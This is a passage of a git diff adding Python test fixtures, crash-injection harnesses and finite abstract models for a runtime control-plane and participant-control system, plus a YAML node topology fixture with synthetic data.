== "applied" and item["operation_id"] == request.operation_id + ), + None, + ) + return RecoveryObservationResult( + classification=( + RecoveryEffectClassification.EFFECT_APPLIED if applied else RecoveryEffectClassification.EFFECT_ABSENT + ), + operation_id=request.operation_id, + request_commitment=request.request_commitment, + snapshot=_snapshot_from_payload(applied["snapshot"]) if applied else None, + ) + + +def witness_target(witness: Path, *, observe: bool = False, boundary=None): + # The observed empty-plan effect requires no new realization authority. + # Recovery intentionally refuses to invent a provisioning plan to authorize + # new realization/resource state from an observer's assertion alone. + target = create_stub_target(with_realization_envelope=False) + target = replace(target, provisioner=WitnessProvisioner(target.provisioner, witness, boundary)) + if observe: + capability = RecoveryObservationCapabilities( + name="conformance-witness", supported_operation_kinds=frozenset({OperationKind.PROVISIONING}) + ) + target = replace( + target, + manifest=replace( + target.manifest, capabilities=replace(target.manifest.capabilities, recovery_observation=capability) + ), + recovery_observer=WitnessObserver(witness), + ) + return target + + +class ProfileHarness: + def __init__(self, profile: str, plane: RuntimeControlPlane, store, client: TestClient | None) -> None: + self.profile, self.plane, self.store, self.client = profile, plane, store, client + + @staticmethod + def headers(actor: str = "alice") -> dict[str, str]: + return {"authorization": f"Bearer synthetic-{actor}", "idempotency-key": KEY} + + def submit(self, *, key: str = KEY, actor: str = "alice") -> str: + if self.client is not None: + response = self.client.post( + "/operations/provisioning", + json=provisioning_plan_model(ProvisioningPlan()).model_dump(mode="json"), + headers={**self.headers(actor), "idempotency-key": key}, + ) + assert response.status_code == 200, response.text + assert response.json()["accepted"] + return response.json()["operation_id"] + receipt = self.plane.submit_provisioning(ProvisioningPlan(), idempotency_key=key, identity=identities()[actor]) + assert receipt.accepted, receipt.diagnostics + return receipt.operation_id + + def status(self, operation_id: str, *, actor: str = "alice") -> OperationState | None: + if self.client is not None: + response = self.client.get(f"/operations/{operation_id}", headers=self.headers(actor)) + if response.status_code in (403, 404): + return None + assert response.status_code == 200, response.text + return OperationState(response.json()["state"]) + status = self.plane.get_operation(operation_id, identity=identities()[actor]) + return None if status is None else status.state + + def snapshot_cut(self) -> tuple[dict[str, object], int]: + if self.client is not None: + response = self.client.get("/snapshot", headers=self.headers()) + assert response.status_code == 200 + return response.json()["metadata"], int(response.headers["X-RAES-Snapshot-Revision"]) + return self.plane._project_snapshot_read(lambda: dict(self.plane.snapshot.metadata)) + + +@contextmanager +def profile_harness( + profile: str, + path: Path, + *, + observe: bool = False, + boundary=None, + store=None, +) -> Iterator[ProfileHarness]: + if profile not in PROFILES: + raise ValueError("unsupported conformance composition") + selected_store = ( + store + if store is not None + else (InMemoryControlPlaneStore() if profile == "P0" else LocalControlPlaneStore(path / "store")) + ) + target = witness_target(path / "effects.jsonl", observe=observe, boundary=boundary) + with ExitStack() as stack: + core_profile = ControlPlaneProfile.P0 if profile == "P0" else ControlPlaneProfile.P1 + plane = RuntimeControlPlane(target, store=selected_store, run_scope=RUN_SCOPE, profile=core_profile) + stack.callback(plane.close) + client = None + if profile == "P2": + security = ControlPlaneSecurityConfig( + bearer_tokens={f"synthetic-{key}": value for key, value in identities().items()} + ) + client = stack.enter_context( + TestClient(create_control_plane_app(plane, security=security, profile=ControlPlaneProfile.P2)) + ) + yield ProfileHarness(profile, plane, selected_store, client) + + +@contextmanager +def inspect_store(path: Path): + store = LocalControlPlaneStore(path / "store") + lease = store.admit_runtime(target_scope=TARGET_SCOPE, run_scope=RUN_SCOPE) + try: + yield store + finally: + store.close() + lease.close() + + +def terminal_audits(store, operation_id: str): + return [ + event + for event in store.read_audit() + if event.operation_id == operation_id and event.action.endswith("_terminal") + ] diff --git a/implementations/python/tests/control_plane_crash_fixtures.py b/implementations/python/tests/control_plane_crash_fixtures.py new file mode 100644 index 000000000..9c5ba6c37 --- /dev/null +++ b/implementations/python/tests/control_plane_crash_fixtures.py @@ -0,0 +1,152 @@ +"""Supervised process-kill hooks delegating to real control-plane transactions.""" + +from __future__ import annotations + +import os +import signal +from multiprocessing import get_context +from pathlib import Path +from threading import Event + +from control_plane_conformance_fixtures import profile_harness +from raes_contracts.runtime_state import OperationState +from raes_runtime.control_plane_store import InMemoryControlPlaneStore +from raes_runtime.control_plane_store_local import LocalControlPlaneStore + +# Separate cuts around dispatch, effect and response are intentional: neither +# dispatch nor a missing response determines whether a backend effect happened. +CRASH_BOUNDARIES = ( + "before-claim", + "after-claim-write", + "after-claim", + "before-invoke", + "after-dispatch", + "after-invoke", + "before-terminal", + "after-snapshot", + "after-record", + "after-audit", + "after-terminal", + "after-response", +) +UNCLAIMED = frozenset({"before-claim", "after-claim-write"}) +COMMITTED = frozenset({"after-terminal", "after-response"}) +APPLIED = frozenset({"after-invoke", "before-terminal", "after-snapshot", "after-record", "after-audit", *COMMITTED}) + + +class CrashHooks: + def __init__(self, selected: str, channel) -> None: + self.selected, self.channel = selected, channel + self.operation_id = "" + + def hit(self, name: str) -> None: + if name == self.selected: + self.channel.send((name, self.operation_id)) + # The parent kills this exact child while it is stopped at the cut. + # A timeout is a harness failure, never successful crash evidence. + Event().wait(90) + raise AssertionError("supervisor did not terminate the acknowledged child") + + def install(self, store) -> None: + claim = store.claim_record + commit = store.commit_terminal_operation + + def claim_record(record, **options): + self.operation_id = record.receipt.operation_id + self.hit("before-claim") + result = claim(record, **options) + self.hit("after-claim") + return result + + def commit_terminal(snapshot, record, **options): + self.operation_id = record.receipt.operation_id + self.hit("before-terminal") + result = commit(snapshot, record, **options) + self.hit("after-terminal") + return result + + store.claim_record = claim_record + store.commit_terminal_operation = commit_terminal + if isinstance(store, LocalControlPlaneStore): + self._install_sqlite_hooks(store) + + def _install_sqlite_hooks(self, store) -> None: + upsert_record, upsert_snapshot, insert_audit = store._upsert_record, store._upsert_snapshot, store._insert_audit + + def write_record(connection, record, **options): + upsert_record(connection, record, **options) + self.operation_id = record.receipt.operation_id + self.hit("after-claim-write" if record.status.state is OperationState.RUNNING else "after-record") + + def write_snapshot(connection, snapshot, **options): + upsert_snapshot(connection, snapshot, **options) + self.hit("after-snapshot") + + def write_audit(connection, event): + insert_audit(connection, event) + if event.action.endswith("_terminal"): + self.hit("after-audit") + + store._upsert_record = write_record + store._upsert_snapshot = write_snapshot + store._insert_audit = write_audit + + +def crash_worker(profile: str, directory: str, boundary: str, channel, recovering: bool = False) -> None: + # These are worker-topology settings, not authentication material. Avoid a + # developer shell's unrelated service configuration changing test topology. + for name in ("WEB_CONCURRENCY", "UVICORN_WORKERS", "UVICORN_RELOAD"): + os.environ.pop(name, None) + path = Path(directory) + store = InMemoryControlPlaneStore() if profile == "P0" else LocalControlPlaneStore(path / "store") + hooks = CrashHooks(boundary, channel) + if recovering: + # Initializing an existing database happens before runtime recovery. + # Hook only terminal writes so the selected cut cannot be hit by schema + # admission. All writes and transactions still belong to the provider. + commit = store.commit_terminal_operation + + def recovery_commit(snapshot, record, **options): + hooks.operation_id = record.receipt.operation_id + hooks._install_sqlite_hooks(store) + hooks.hit("before-terminal") + result = commit(snapshot, record, **options) + hooks.hit("after-terminal") + return result + + store.commit_terminal_operation = recovery_commit + with profile_harness(profile, path, observe=True, store=store): + raise AssertionError("recovery did not reach its selected crash cut") + else: + with profile_harness(profile, path, boundary=hooks.hit, store=store) as harness: + hooks.install(store) + operation_id = harness.submit() + hooks.operation_id = operation_id + hooks.hit("after-response") + raise AssertionError("submission did not reach its selected crash cut") + + +def kill_at(profile: str, path: Path, boundary: str, *, recovering: bool = False) -> str: + context = get_context("spawn") + reader, writer = context.Pipe(duplex=False) + process = context.Process(target=crash_worker, args=(profile, str(path), boundary, writer, recovering)) + process.start() + writer.close() + try: + assert reader.poll(40), f"no acknowledgement for {profile}/{boundary}" + observed_boundary, operation_id = reader.recv() + assert observed_boundary == boundary + assert operation_id + assert process.is_alive(), "child exited instead of waiting at the acknowledged cut" + process.kill() + process.join(timeout=10) + assert not process.is_alive() + assert process.exitcode == (-signal.SIGKILL if os.name == "posix" else 1) + return operation_id + finally: + if process.is_alive(): + process.kill() + process.join(timeout=10) + reader.close() + if not process.is_alive(): + process.close() diff --git a/implementations/python/tests/crossing_model_fixtures.py b/implementations/python/tests/crossing_model_fixtures.py new file mode 100644 index 000000000..e38d0429d --- /dev/null +++ b/implementations/python/tests/crossing_model_fixtures.py @@ -0,0 +1,88 @@ +"""Synthetic complete profile and malformed variants for issue 971.""" + +from pathlib import Path + +ROOT = Path(__file__).resolve().parents[3] + + +def profile_payload(): + return { + "schema_version": "behavioral-relation-profile/v1", + "profile_id": "participant-crossing-dpbb-finite-v1", + "profile_revision": "rev2", + "taxonomy_id": "raes-behavioral-relations", + "taxonomy_revision": "rev8", + "relation_id": "divergence-preserving-branching-bisimulation", + "left_carrier_ref": "sem-230-participant-crossing-abstract", + "observation_projection_ref": "participant-crossing-projection", + "observation_projection_revision": "rev1", + "finite_analysis_scope": "declared-complete-finite-carrier", + "parameters": { + "kind": "participant-crossing-dpbb/v1", + "domains": { + "participant": ["participant-0"], + "audience": ["audience-0"], + "controller": ["controller-0"], + "episode": ["episode-0"], + "request_id": ["request-0"], + "policy_cut": ["p0", "p1"], + "input_class": ["plain", "transform", "declassify", "unsupported", "forbidden"], + "decision": ["none", "permit", "deny", "unsupported", "transform", "declassify"], + "replay": ["fresh", "same-cut", "later-cut"], + "delivery": ["none", "pending", "delivered", "withheld"], + "history_head": ["h0", "h1", "h2", "h3"], + }, + "left": { + "model_id": "sem-230-participant-crossing-abstract", + "revision": "rev2", + "source_path": "implementations/formal/participant_crossing/abstract.py", + "source_digest": "sha256:" + "a" * 64, + "initial_state_ordinal": 0, + }, + "right": { + "model_id": "api-423-run-319-crossing-kernel", + "revision": "rev2", + "source_path": "implementations/formal/participant_crossing/concrete.py", + "source_digest": "sha256:" + "b" * 64, + "initial_state_ordinal": 0, + }, + "visible_labels": [ + "crossing.request", + "crossing.decision.permit", + "crossing.decision.deny", + "crossing.decision.unsupported", + "crossing.transform", + "crossing.declassify", + "crossing.delivery", + "crossing.observation", + "crossing.replay.reject", + "policy.cut.advance", + ], + "hidden_labels": [ + "internal.validate", + "internal.resolve-policy-cut", + "internal.resolve-capability", + "internal.prepare-record", + "internal.atomic-commit", + ], + "checker_tau": "internal", + "complete_carrier": True, + "depth_or_sample_bound": None, + "fresh_operations": 1, + "identity_reuse": "excluded", + "order": "sequential-total-order", + "time": "untimed", + "probability": "excluded", + "concurrency": "excluded", + "controller_handoff": "excluded", + "completion": "per-crossing-visible-outcome", + }, + "source_refs": [ + { + "source_ref": "specs/formal/participant-semantics/participant-crossing-models.md", + "source_digest": "sha256:" + "c" * 64, + } + ], + "limitations": ["One fresh operation and retries; no identity recycling."], + "explicit_non_claims": ["No equivalence or live-runtime result is established by construction."], + } diff --git a/implementations/python/tests/fixtures/progressive-conformance.yaml b/implementations/python/tests/fixtures/progressive-conformance.yaml new file mode 100644 index 000000000..9180c1fdd --- /dev/null +++ b/implementations/python/tests/fixtures/progressive-conformance.yaml @@ -0,0 +1,49 @@ +name: progressive-conformance +realization: + default: closed + scopes: + - field_pointer: /nodes/private/runtime/applications/0/routes/0 + posture: open +nodes: + debian: + type: compute + os: linux + os_distribution: debian + os_version: "12" + fedora: + type: compute + os: linux + os_distribution: x-fedoraproject:fedora + os_version: "42" + kali: + type: compute + os: linux + os_distribution: x-kali:kali + os_version: "2025.1" + runtime: + software_components: + - component_id: nmap + name: nmap + version: "7.95" + private: + type: compute + os: linux + os_distribution: x-acme:research-linux + os_version: "1.0" + services: + - name: documents + port: 8080 + runtime: + applications: + - application_id: private-documents + service: documents + protocol: http + routes: + - route_id: collection + path: /documents + methods: [PROPFIND, PrivateQuery, privateQuery] + ubuntu: + type: compute + os: linux + os_distribution: ubuntu + os_version: "24.04" diff --git a/implementations/python/tests/ifc_profile_variability_model.py b/implementations/python/tests/ifc_profile_variability_model.py new file mode 100644 index 000000000..d6864b01e --- /dev/null +++ b/implementations/python/tests/ifc_profile_variability_model.py @@ -0,0 +1,132 @@ +"""Finite IFC-01–IFC-07 design projection, not a provider or wire contract. + +The encoding fragment has independently releasable obligations and singleton +tokens. It is not a solver for arbitrary conservative contextual encodings. +Coverage, grants and guarantee facts are independently trusted inputs; set +inclusion represents only comparable guarantees in this synthetic experiment. +""" + +from dataclasses import dataclass + +from sem233_boundary_flow_model import FlowProfile, UnsupportedFlow, rewrite_coordinate + + +@dataclass(frozen=True) +class Requirement: + confidentiality: frozenset[str] + integrity: frozenset[str] + coverage: frozenset[str] + guarantees: frozenset[str] + + +@dataclass(frozen=True) +class Encoding: + profile: FlowProfile + confidentiality: tuple[tuple[str, str], ...] + integrity: tuple[tuple[str, str], ...] + digest: str = "digest:synthetic-owner-publication" + + @property + def pin(self): + return self.profile.profile_id, self.profile.profile_revision, self.digest + + +@dataclass(frozen=True) +class Support: + profile_pin: tuple[str, str, str] + configuration: str + coverage: frozenset[str] + guarantees: frozenset[str] + resolved: bool = True + + +def _expresses(required, pairs, universe, unresolved): + mapping = dict(pairs) + if len(mapping) != len(pairs) or not required <= mapping.keys(): + return False + targets = {mapping[item] for item in required} + return len(targets) == len(required) and targets <= universe - {unresolved} + + +def admit(requirement, encoding, support): + """Project expressibility then CA-04 realization; no effect is dispatched.""" + profile = encoding.profile + if not ( + _expresses( + requirement.confidentiality, + encoding.confidentiality, + profile.confidentiality_universe, + "conf:deny-unresolved", + ) + and _expresses(requirement.integrity, encoding.integrity, profile.integrity_universe, "int:deny-unresolved") + ): + raise UnsupportedFlow("expression unsupported") + if not ( + support.resolved + and support.profile_pin == encoding.pin + and support.configuration + and requirement.coverage <= support.coverage + and requirement.guarantees <= support.guarantees + ): + raise UnsupportedFlow("realization unsupported") + return support + + +def check_execution(admitted, observed): + if not observed.resolved or (observed.profile_pin, observed.configuration) != ( + admitted.profile_pin, + admitted.configuration, + ): + return "unsupported" + if not admitted.coverage <= observed.coverage or not admitted.guarantees <= observed.guarantees: + return "weakened" + return "resolved" + + +@dataclass(frozen=True) +class Grant: + authority: str + confidentiality: frozenset[str] + integrity: frozenset[str] + sink: str + cut: str + source: str + profile: tuple[str, str] + + +def release( + profile, + source, + grant, + *, + result_ref, + operation, + confidentiality=frozenset(), + integrity=frozenset(), + sink="sink:action", + cut="cut:1", +): + """A trusted exact-context grant must cover every discharged obligation. + + The reused algebra checks fresh identity, operation/coordinate separation, + membership and immutable provenance. Grant acquisition is outside this model. + """ + if not ( + (grant.sink, grant.cut) == (sink, cut) + and grant.source == source.value_ref + and grant.profile == (profile.profile_id, profile.profile_revision) + and confidentiality <= grant.confidentiality + and integrity <= grant.integrity + ): + raise UnsupportedFlow("release authority does not cover the exact obligation and cut") + return rewrite_coordinate( + profile, + source, + result_ref=result_ref, + operation=operation, + remove_confidentiality=confidentiality, + remove_integrity=integrity, + authority_ref=grant.authority, + sink_ref=sink, + state_cut_ref=cut, + ) diff --git a/implementations/python/tests/issue_1219_installation_harness.py b/implementations/python/tests/issue_1219_installation_harness.py index 6f1b02b9f..82ca4b899 100644 --- a/implementations/python/tests/issue_1219_installation_harness.py +++ b/implementations/python/tests/issue_1219_installation_harness.py @@ -334,7 +334,7 @@ def main() -> int: "installation_policy": installation.INSTALLATION_POLICY_ID, "platform": platform.platform(), "python": platform.python_version(), - "filesystem": installation._filesystem_type(root), + "filesystem": "not-classified", "filelock": version("filelock"), "cold_processes": 32, "warm_clients": 100, @@ -354,7 +354,7 @@ def main() -> int: "elapsed_seconds": {name: round(elapsed, 3) for name, elapsed in cases.items()}, "limitations": [ "This local harness does not claim the distinct-principal T06 execution case.", - "Service, proof, OCI, export, and broader T05/T07/T16 cases remain downstream scope.", + "This harness exercises private CLI installation, not artifact services or full environment export.", ], } encoded = json.dumps(evidence, sort_keys=True) diff --git a/implementations/python/tests/issue_1220_proof_input_harness.py b/implementations/python/tests/issue_1220_proof_input_harness.py index f5843ba6b..5cfd3c3d7 100644 --- a/implementations/python/tests/issue_1220_proof_input_harness.py +++ b/implementations/python/tests/issue_1220_proof_input_harness.py @@ -720,7 +720,7 @@ def main(argv: list[str]) -> int: "platform": platform.platform(), "machine": platform.machine(), "python": platform.python_version(), - "filesystem": installation._filesystem_type(root), + "filesystem": "not-classified", "filelock": version("filelock"), "bubblewrap": _native_version([str(BWRAP), "--version"]), "large_object_budget": asdict(client.LARGE_OBJECT_TRANSFER_BUDGET), @@ -746,7 +746,7 @@ def main(argv: list[str]) -> int: "limitations": [ "Required CI mechanism cases use a synthetic tree with the real distribution's member classes;" " the real 1.2 GB archive cases run only with --real-archive.", - "Complete air-gapped export/import (T11) and whole-closure preflight (T13) remain owned by #1225.", + "Air-gapped environment export/import is not a supported workflow (#1313).", ], } if real_installation: diff --git a/implementations/python/tests/operation_supervision_model.py b/implementations/python/tests/operation_supervision_model.py new file mode 100644 index 000000000..c640f9527 --- /dev/null +++ b/implementations/python/tests/operation_supervision_model.py @@ -0,0 +1,157 @@ +"""Finite abstract model for issue #1348, not a runtime implementation. + +Evidence booleans stand for independently established boundary attestations. +They do not implement authentication, external fencing, snapshot validation, +clock continuity, or a transactional store. One instance models one operation +in one conflicting-effect scope; publication is an indivisible abstract cut. +""" + +from dataclasses import dataclass, replace + +TERMINAL = frozenset({"SUCCEEDED", "FAILED", "CANCELLED", "INDETERMINATE"}) +EFFECTS = frozenset({"absent", "partial", "complete", "unknown"}) + + +@dataclass(frozen=True) +class Evidence: + effects: str + quiescent: bool + validated: bool = True + satisfies: bool = False + + +@dataclass(frozen=True) +class Operation: + state: str = "ACCEPTED" + actor: str = "author" + supervisor: str | None = None + cancel: str = "none" + admission_open: bool = True + invocations: int = 0 + effects: str = "absent" + quiescent: bool = True + quarantined: bool = False + revision: int = 0 + audit: tuple[str, ...] = () + + +def admit( + *, + required: frozenset[str] = frozenset(), + supported: frozenset[str] = frozenset(), + willing: bool = True, +) -> Operation: + if not required <= supported or not willing: + raise ValueError("admission refused") + return Operation() + + +def start(operation: Operation) -> Operation: + if not operation.admission_open or operation.quarantined: + raise ValueError("admission closed") + if operation.state != "ACCEPTED": + raise ValueError("not an accepted operation") + return replace(operation, state="RUNNING", invocations=1, effects="unknown", quiescent=False) + + +def stop_admission(operation: Operation) -> Operation: + return replace(operation, admission_open=False) + + +def supervise( + operation: Operation, + *, + actor: str, + authorized: bool = True, + reply: str = "requested", +) -> Operation: + if not authorized: + raise ValueError("authorization required") + if reply not in {"requested", "accepted", "refused", "unsupported"}: + raise ValueError("invalid supervision disposition") + if operation.state in TERMINAL: + return operation + if operation.state == "ACCEPTED": + return replace(operation, state="CANCELLED", supervisor=actor, cancel="completed", audit=("CANCELLED",)) + return replace(operation, supervisor=actor, cancel=reply) + + +def settle( + operation: Operation, + evidence: Evidence, + *, + cancelled: bool = False, + expected_revision: int | None = None, +) -> Operation: + if operation.state in TERMINAL: + raise ValueError("terminal operation is immutable") + if operation.state != "RUNNING" or evidence.effects not in EFFECTS: + raise ValueError("invalid settlement") + if expected_revision is not None and expected_revision != operation.revision: + raise ValueError("revision conflict") + if not evidence.validated or not evidence.quiescent or evidence.effects == "unknown": + state = "INDETERMINATE" + elif cancelled and operation.cancel == "accepted": + state = "CANCELLED" + elif evidence.satisfies and evidence.effects in {"absent", "complete"}: + state = "SUCCEEDED" + else: + state = "FAILED" + known = state != "INDETERMINATE" + return replace( + operation, + state=state, + effects=evidence.effects if known else "unknown", + quiescent=evidence.quiescent and evidence.validated, + quarantined=not known, + revision=operation.revision + int(known and evidence.effects in {"partial", "complete"}), + audit=(*operation.audit, state), + ) + + +@dataclass(frozen=True) +class Publication: + authoritative: Operation + visible: Operation + poisoned: bool + + +def publish(before: Operation, after: Operation, *, persisted: bool, acknowledged: bool) -> Publication: + if acknowledged and not persisted: + raise ValueError("acknowledgement cannot assert an absent commit") + return Publication(after if persisted else before, after if acknowledged else before, not acknowledged) + + +def deadline_expired(*, started: int, now: int, budget: int) -> bool: + if any(type(value) is not int for value in (started, now, budget)) or budget <= 0 or now < started: + raise ValueError("invalid monotonic duration") + return now - started >= budget + + +def continuation_allowed( + action: str, + *, + permitted: bool, + quiescent: bool, + effects: str, + durable: bool = False, + continuity: bool = False, + allocated: bool = False, + clean: bool = False, + posture: str = "disallow", + safety_proved: bool = False, + attempts_left: int = 1, +) -> bool: + # Durability deliberately supplies neither semantic permission nor safety evidence. + _ = durable + if action not in {"retry", "resume", "new-trial"} or effects not in EFFECTS: + raise ValueError("unknown continuation") + if not permitted or not quiescent or effects == "unknown": + return False + if action == "resume": + return continuity + if action == "new-trial": + return allocated and clean + return attempts_left > 0 and ( + effects == "absent" or (posture in {"idempotent", "reset", "compensate"} and safety_proved) + ) diff --git a/implementations/python/tests/participant_control_contract_fixtures.py b/implementations/python/tests/participant_control_contract_fixtures.py new file mode 100644 index 000000000..c35b54ebc --- /dev/null +++ b/implementations/python/tests/participant_control_contract_fixtures.py @@ -0,0 +1,320 @@ +"""Small portable API-424 examples; no backend realization is claimed.""" + +from copy import deepcopy + +DIGEST = "sha256:" + "a" * 64 + + +def ref(identity, kind="evidence"): + if (identity, kind) == ("teaching-influence", "profile"): + from raes_contracts._canonical import canonical_json_digest + from raes_contracts.contracts.participant_control_profiles import load_teaching_influence_profile + + return { + "kind": kind, + "ref": identity, + "revision": "rev1", + "digest": canonical_json_digest(load_teaching_influence_profile().model_dump(mode="json")), + } + return {"kind": kind, "ref": identity, "revision": "rev1", "digest": DIGEST} + + +def selection_payload(): + return { + "schema_version": "participant-control-selection/v1", + "selection_id": "selection-1", + "semantic_revision": "sem-235/rev1", + "apparatus": ref("apparatus-1", "apparatus"), + "required_profiles": ["teaching-influence"], + "bindings": [ + { + "instance_id": "influence", + "profiles": [ref("teaching-influence", "profile")], + "mechanism": ref("propagation", "mechanism"), + "protocol_revision": "participant-control-provider/v1", + "implementation": ref("provider-artifact", "implementation"), + "configuration_digest": DIGEST, + "authority": ref("teaching-authority", "authority"), + "memory_scope": ref("retained-memory", "memory"), + "applicability": [ + { + "participant_address": "participants.student", + "episode_id": "episode-1", + "direction": "ingress", + "sink_ref": "teaching-observation", + "phase_ref": "practice", + "subject_kind": "participant-observation", + } + ], + "evidence": [ref("binding-evidence")], + "limitations": [ref("explicit-flows-only", "limitation")], + } + ], + "slots": [ + { + "slot_id": "fact", + "instance_id": "influence", + "kind": "ifc-fact", + "role": "mandatory", + "dependencies": [], + }, + { + "slot_id": "rule", + "instance_id": "influence", + "kind": "effect-request", + "role": "mandatory", + "dependencies": [{"slot_id": "fact", "kind": "ifc-fact"}], + }, + ], + "bounds": { + "max_depth": 2, + "max_effects": 2, + "max_fanout": 2, + "max_firings_per_rule": 1, + "max_attempts": 3, + "expires_at_order": 20, + }, + "evidence": [ref("selection-evidence")], + } + + +def context_payload(): + context = { + "run": ref("run-1", "run"), + "apparatus": ref("apparatus-1", "apparatus"), + "participant_address": "participants.student", + "episode_id": "episode-1", + "subject": { + "subject_kind": "participant-observation", + "contract_id": "participant-observation-envelope-v1", + "subject_ref": "observation-1", + "subject_revision": "rev1", + "subject_digest": DIGEST, + "participant_address": "participants.student", + "episode_id": "episode-1", + }, + "crossing": ref("crossing-1", "crossing"), + "direction": "ingress", + "sink_ref": "teaching-observation", + "audience_ref": "student-audience", + "destination_ref": "student", + "controller_ref": "teacher", + "authority": ref("teaching-authority", "authority"), + "policy": { + "policy_id": "teaching-policy", + "policy_revision": "rev1", + "policy_digest": DIGEST, + "policy_decision_ref": "crossing-decision-1", + "decision_cut_ref": "cut-1", + "effective_order": 1, + "valid_from_order": 0, + "valid_until_order": 20, + }, + "state_cut": { + "cut_kind": "sequence_prefix", + "cut_ref": "cut-1", + "history_domain": "participant_behavior_history", + "order_model": "behavior_history_order", + "anchor_event_ref": "event-1", + "anchor_order": 1, + "history_prefix_length": 2, + "predecessor_event_refs": ["event-0"], + }, + "expected_history_heads": [ref("history-head", "history")], + "provider_states": [{"instance_id": "influence", "state": ref("state-1", "provider-state")}], + "inputs": [ref("observation-1", "input")], + "memory_scope": ref("retained-memory", "memory"), + "clock": ref("clock-1", "clock"), + "order": 1, + "phase_ref": "practice", + "trigger_root": "root-1", + "trigger": ref("event-1", "trigger"), + "predecessors": [], + "depth": 0, + "effects_consumed": 0, + "prior_effect_claims": [], + "rule_firings": [], + "attempt": 1, + } + from raes_contracts._canonical import canonical_json_digest + + context["crossing"]["digest"] = canonical_json_digest(crossing_payload(context)) + return context + + +def crossing_payload(context): + return { + "event_id": "crossing-1", + "schema_name": "participant-crossing-occurrence", + "schema_version": "1.0.0", + "event_type": "participant-crossing-occurrence", + "extension_policy": "closed", + "participant_address": context["participant_address"], + "episode_id": context["episode_id"], + "occurred_at": "2026-09-20T00:00:00Z", + "recorded_at": "2026-09-20T00:00:00Z", + "ingested_at": "2026-09-20T00:00:00Z", + "clock_authority": "clock-1", + "ordering_basis": "logical_clock", + "actor_ref": "teacher", + "producer_ref": "runtime", + "authorization_scope": "teaching-authority", + "provenance_refs": ["result-evidence"], + "evidence_refs": ["result-evidence"], + "object_marking_refs": ["public"], + "occurrence": { + "direction": "ingress", + "interaction_kind": "observation", + "audience_scope_ref": "student-audience", + "subject": context["subject"], + "controller_ref": "teacher", + "authority_basis_refs": ["teaching-authority"], + "policy": context["policy"], + "effective_order": 1, + "order_model": "logical_clock", + "backend_posture": "exact", + "loss_and_limitations": ["explicit-flows-only"], + "stage": "requested", + "request_id": "request-1", + "requested_operation": "admission", + "action_or_projection_ref": "observation-1", + "required_evidence_refs": ["result-evidence"], + }, + } + + +def delivery_payload(): + return { + "participant_ref": "participants.student", + "inject_ref": "inject-1", + "occurrence": {"event_ref": "event-inject-1", "script_ref": "script-1", "story_ref": "story-1"}, + "source_item_ref": "reflection-source", + "result_item_ref": "reflection-result", + "observation_boundary_ref": "teaching-observation", + "delivery_kind": "disclosure", + "delivery_policy": { + "policy_ref": "teaching-policy", + "policy_revision": "rev1", + "exposure_policy_ref": "exposure-1", + "audience_scope_ref": "student-audience", + "visibility_basis_ref": "visibility-1", + "disclosure_basis_ref": "disclosure-1", + }, + "order_basis": "orchestration-occurrence-and-shared-time", + "temporal_constraint_refs": ["expiry-20"], + "evidence_requirement_refs": ["effect-evidence"], + "failure_disposition": "reject-no-delivery", + } + + +def inject_payload(): + from raes.participant_inject_delivery import ParticipantInjectDelivery + from raes_contracts._canonical import canonical_json_digest + + target = { + "kind": "inject", + "delivery_ref": ref("delivery-binding", "inject-delivery"), + "inject_ref": "inject-1", + "event_ref": "event-inject-1", + "script_ref": "script-1", + "story_ref": "story-1", + "source_item_ref": "reflection-source", + "result_item_ref": "reflection-result", + "participant_address": "participants.student", + "episode_id": "episode-1", + "disclosure_ref": ref("disclosure-1", "disclosure"), + } + target["delivery_ref"]["digest"] = canonical_json_digest( + ParticipantInjectDelivery.model_validate(delivery_payload()).model_dump(mode="json") + ) + return target + + +def effect_payload(target=None): + return { + "kind": "effect-request", + "effect_id": "effect-1", + "key": { + "run_ref": "run-1", + "trigger_root": "root-1", + "rule_id": "hint-followup", + "rule_revision": "rev1", + "slot": "followup", + "firing_epoch": "epoch-1", + }, + "rule": ref("hint-followup", "rule"), + "authority": ref("teaching-authority", "authority"), + "phase": "subsequent", + "predecessor_effect_ids": [], + "target": target or inject_payload(), + "evidence": [ref("effect-evidence")], + } + + +def evaluation_payload(): + selection = selection_payload() + from raes_contracts._canonical import canonical_json_digest + + context = context_payload() + digest = canonical_json_digest(context) + results = [] + for slot_id, payload in ( + ( + "fact", + { + "kind": "ifc-fact", + "domain": "teaching-influence-domain/rev1", + "tokens": ["coached-hint"], + "source_refs": [ref("observation-1", "input")], + }, + ), + ("rule", effect_payload()), + ): + results.append( + { + "result_id": "result-" + slot_id, + "slot_id": slot_id, + "instance_id": "influence", + "binding_digest": canonical_json_digest(selection["bindings"][0]), + "context_digest": digest, + "status": "resolved", + "payload": payload, + "evidence": [ref("result-evidence")], + "next_provider_state": None, + } + ) + return { + "schema_version": "participant-control-evaluation/v1", + "evaluation_id": "evaluation-1", + "request": {"selection": selection, "context": context}, + "results": results, + "support": [ + { + "instance_id": "influence", + "feature": "participant_modular_control", + "declaration_ref": ref("backend-manifest", "manifest"), + "declared_level": "exact", + "effective_level": "exact", + "status": "resolved", + "context_digest": digest, + "installation": ref("installation-1", "installation"), + "constraints": [], + "limitations": [ref("explicit-flows-only", "limitation")], + "evidence": [ref("support-evidence")], + "downgrade_authority": None, + } + ], + "composition": { + "rule_revision": "sem-235/rev1", + "disposition": "eligible", + "blockers": [], + "contributing_result_ids": ["result-fact", "result-rule"], + "incumbent_gate_disposition": "permit", + "incumbent_gate_evidence": ref("gate-evidence"), + }, + "realizations": [], + } + + +def cloned_payload(): + return deepcopy(evaluation_payload()) diff --git a/implementations/python/tests/participant_control_runtime_fixtures.py b/implementations/python/tests/participant_control_runtime_fixtures.py new file mode 100644 index 000000000..0c3ee0176 --- /dev/null +++ b/implementations/python/tests/participant_control_runtime_fixtures.py @@ -0,0 +1,744 @@ +"""Synthetic RUN-320 providers and trusted resolvers bound to a live cut. + +Every value is safe synthetic test data. A provider here is an operator-created +pure resolver: it establishes no installation, capability, authority or +realization, exactly as ``ParticipantControlProvider`` documents. + +The published API-424 template in ``participant_control_contract_fixtures`` uses +its own illustrative participant, audience and crossing identities, so — like +``sem233_flow_sink_fixtures`` — this module rebinds those coordinates onto the +live prepared crossing before a provider ever sees them. The trusted context +then carries the *actual* prepared crossing occurrence, so a resolver that +cannot name the live record cannot pass validation. +""" + +from __future__ import annotations + +import json +from dataclasses import dataclass, field + +from participant_control_contract_fixtures import ( + delivery_payload, + evaluation_payload, + ref, +) +from participant_crossing_fixtures import AUDIENCE as LIVE_AUDIENCE +from participant_crossing_fixtures import PARTICIPANT as LIVE_PARTICIPANT +from raes.participant_inject_delivery import ParticipantInjectDelivery +from 